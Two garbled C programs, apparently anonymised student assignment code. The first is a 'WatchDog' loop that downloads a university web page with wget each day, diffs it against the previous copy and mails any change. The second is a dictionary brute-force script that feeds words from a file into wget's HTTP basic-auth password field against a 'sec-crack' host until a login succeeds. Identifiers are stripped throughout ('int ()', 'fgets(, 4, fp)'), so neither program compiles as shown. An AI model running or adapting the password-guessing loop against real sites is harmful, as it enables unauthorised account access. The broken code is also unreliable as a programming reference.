#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>

int ()
{
  FILE *fp; 
  char *chk,[4];
  int i=1;
  while (i == 1) 
  {
  
  system("wget -p --convert-links http://www.cs.rmit.edu./students/");

  system("mkdir first"); 
  system("mkdir second"); 

  
  system("mv www.cs.rmit.edu./images/*.*  first/");
  system("mv www.cs.rmit.edu./students/*.* first/");

  sleep(86400); 

  
  system("wget -p --convert-links http://www.cs.rmit.edu./students/");

  
  system("mv www.cs.rmit.edu./images/*.* second/");
  system("mv www.cs.rmit.edu./students/*.* second/");

  
  
  system("diff first second > imagesdifference.txt");

  
  fp = fopen("imagesdifference.txt","r");
  
  chk = fgets(, 4, fp);
  
  if (strlen() != 0)
     system("mailx -s  \"Difference from WatchDog\"  < imagesdifference.txt");
  }
  return 0;
}

 #include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>

int main()
{
  char *wordptr = " word";
  FILE *fp;
  int syst = 1;
  char string1[80], string2[50];
  strcpy(string1, "wget --http-user= --http-passwd=");
  strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/");
  char words[30];
  fp = fopen("words", "r");
  while(wordptr != NULL)
  {
    wordptr = fgets(words, 30, fp);
    if (wordptr == NULL) exit(1);
    words [ strlen(words) - 1 ] = '\0';
    strcat(string1, words);
    strcat(string1, string2);
    printf("\n %s \n",string1);
    syst = system(string1);
    if (syst == 0)
    {
       exit(1);
    }
    strcpy(string1, "");
    strcpy(string1, "wget --http-user= --http-passwd=");
    printf("%s", words);
    
  }
}
